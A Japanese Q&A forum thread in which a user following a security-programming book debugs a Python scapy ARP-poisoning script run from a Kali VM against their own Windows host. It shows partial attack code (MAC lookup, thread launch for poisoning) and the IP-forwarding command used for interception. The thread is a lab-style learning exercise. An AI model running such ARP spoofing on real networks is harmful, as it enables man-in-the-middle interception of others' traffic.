質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
Linux

Linuxは、Unixをベースにして開発されたオペレーティングシステムです。日本では「リナックス」と呼ばれています。 主にWebサーバやDNSサーバ、イントラネットなどのサーバ用OSとして利用されています。 上位500のスーパーコンピュータの90%以上はLinuxを使用しています。 携帯端末用のプラットフォームAndroidは、Linuxカーネル上に構築されています。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

Q&A

解決済

1回答

1108閲覧

【Python*scapy】ARPリクエストに応答しない理由

退会済みユーザー

退会済みユーザー

総合スコア0

Linux

Linuxは、Unixをベースにして開発されたオペレーティングシステムです。日本では「リナックス」と呼ばれています。 主にWebサーバやDNSサーバ、イントラネットなどのサーバ用OSとして利用されています。 上位500のスーパーコンピュータの90%以上はLinuxを使用しています。 携帯端末用のプラットフォームAndroidは、Linuxカーネル上に構築されています。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

0グッド

0クリップ

投稿2017/07/02 13:38

###前提・実現したいこと
引き続きサイバーセキュリティプログラミングという著書よりご質問をさせて頂きます。

今回はscapyを使用して、ARPポイゾニングを試みております。
Kaliの仮想環境から、ホストOSのwindowsへと接続を試みておりますが、
windowsのデフォルトゲートウェイがARPリクエストに反応しません。

ホストOS:windows8.1
ゲストOS:kali-linux-2017.1
VMware workstation 12 player
python2.7.9

まずは下記が基本コードの一部です。

# -*- coding: utf-8 -*- from scapy.all import * import os import sys import threading import signal ーーーーーーーーーーーーーー中略ーーーーーーーーーーーーーーーーーーー #この関数が問題だと思われる def get_mac(ip_address): responses,unanswered = srp(Ether( dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,retry=10) for s,r in responses: return r[Ether].src return None ーーーーーーーーーーーーーー中略ーーーーーーーーーーーーーーーーーーー interface = "eth0" target_ip = "192.168.xxx.yyy" #ホストOS(windows)のIPアドレス gateway_ip = "192.168.xxx.yyy" #ホストOS(windows)のデフォルトゲートウェイ packet_count = 1000 conf.iface = interface conf.verb = 0 print "[*] Setting up %s" % interface #ここでFailして先に進まない gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print "[!!!] Failed to get gateway MAC. Exiting." sys.exit(0) else: print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac) target_mac = get_mac(target_ip) if target_mac is None: print "[!!!] Failed to get target MAC. Exiting." sys.exit(0) else: print "[*] Taget %s is at %s" % (target_ip,target_mac) stop_event = threading.Event() poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac,target_ip,target_mac, stop_event)) poison_thread.start()

###発生している問題・エラーメッセージ
上記のコードを実行すると、

user@kali:~$ sudo python arper-jp.py [*] Setting up eth0 [!!!] Failed to get gateway MAC. Exiting.

と返ってくるため、変数【gateway_mac】にMACアドレスが入っていないことが分かります。
試しにget_mac関数の変数responsesとunansweredをprintしてみると、

user@kali:~$ sudo python arper-jp.py [*] Setting up eth0 <Results: TCP:0 UDP:0 ICMP:0 Other:0> <Unanswered: TCP:0 UDP:0 ICMP:0 Other:1> [!!!] Failed to get gateway MAC. Exiting.

となります。

UnansweredのOtherに1と入っているので、これが私が使用しているマシンのような気がしているのですが、、
IPアドレスを指定しているのに何故ARPリクエストに応答してMACアドレスを返さないのでしょうか。

何卒ご教示賜れれば幸いです。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

エラーを見る限り、IPアドレスが間違っているのではないでしょうか?
IPアドレスが合っているのに他の問題で接続できていないのであればICMPが返って来ないのはおかしいです。

まずはpingコマンドなどでIPアドレスに対して疎通テストをしてください。
また、その結果などを貼り付けて下さい。

投稿2017/07/03 04:04

pashango2

総合スコア930

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

退会済みユーザー

退会済みユーザー

2017/07/03 13:30

ご回答頂き有難うございました。 kaliの仮想マシンよりpingを実行いたしました。 下記が結果になります。 user@kali:~$ ping 192.168.xxx.yyy PING 192.168.xxx.yyy (192.168.xxx.yyy) 56(84) bytes of data. 64 bytes from 192.168.xxx.yyy: icmp_seq=1 ttl=128 time=13.6 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=2 ttl=128 time=1.43 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=3 ttl=128 time=1.30 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=4 ttl=128 time=1.29 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=5 ttl=128 time=1.30 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=6 ttl=128 time=1.38 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=7 ttl=128 time=1.55 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=8 ttl=128 time=1.20 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=9 ttl=128 time=1.29 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=10 ttl=128 time=1.28 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=11 ttl=128 time=1.28 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=12 ttl=128 time=1.32 ms 64 bytes from 192.168.xxx.yyy: icmp_seq=13 ttl=128 time=1.25 ms ^C --- 192.168.xxx.yyy ping statistics --- 13 packets transmitted, 13 received, 0% packet loss, time 12019ms rtt min/avg/max/mdev = 1.201/2.271/13.600/3.271 ms
退会済みユーザー

退会済みユーザー

2017/07/03 13:36

また本書において、このプログラムを実行する前に下記コマンドを入力する必要があるとの記述があります。 【# echo 1 > /proc/sys/net/ipv4/ip_forward】 これは上記のパス上において、中身に"1"と書かれたip_forwardファイルを配置するという理解でいいのでしょうか。 そういった配置を現在しているのですが、もし理解が間違っていれば、こちらも何か不具合の要因の一つなのかとも思っております。
pashango2

2017/07/04 02:30

http://syu-m-5151.hatenablog.com/entry/2016/06/21/232248 なるほど、ARP要求を偽装するプログラムだったんですね。 ブロードキャストで送っているけど、返ってこないのはおかしいですね。 上記のブログのエラーを見ると、target_ipが間違っているっぽいんですけどね・・・
退会済みユーザー

退会済みユーザー

2017/07/04 14:40

一つ気になったこととして、 get_mac関数のリターンが 【return r[Ether].src】 となっておりますが、これはイーサネットの送信元MACアドレスという理解になるのでしょうか? とすれば自宅のPC環境ではイーサネットではなくWi-Fiを使用して接続しているため、MACアドレスが返ってこないということなのでしょうか。。
pashango2

2017/07/05 01:33

いえ、WifiでもMACアドレスはあります。 やっている事はMACアドレスを要求するARPを指定のIPアドレスに投げているのですが、返答が来ていないという状況です。 考えられるのはファイアフォールか、IPアドレスの指定違いくらいなんですよね。 gatewayのipアドレスはダメでしたが、他のipアドレスもダメなのですか? 例えばホストのWindowsのipアドレスはどうでしょう?
退会済みユーザー

退会済みユーザー

2017/07/06 09:03

ホストOSの方で一からやり直したところ無事成功しました! 色々とご返信頂きまして有り難うございます! Kaliの方では何故できなかったのかが非常に気になりますが…
pashango2

2017/07/07 02:25

無事に成功したようでよかったです。 うーん、おそらくですが環境の構築で手順が抜けていたかミスがあったかのどちらかでしょうね。 どちらにせよ、環境による原因(ファイアウォール、DCHPの設定、IPフォワードの設定などなど)が沢山ありすぎて、ちょっと追うのは難しそうですね。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問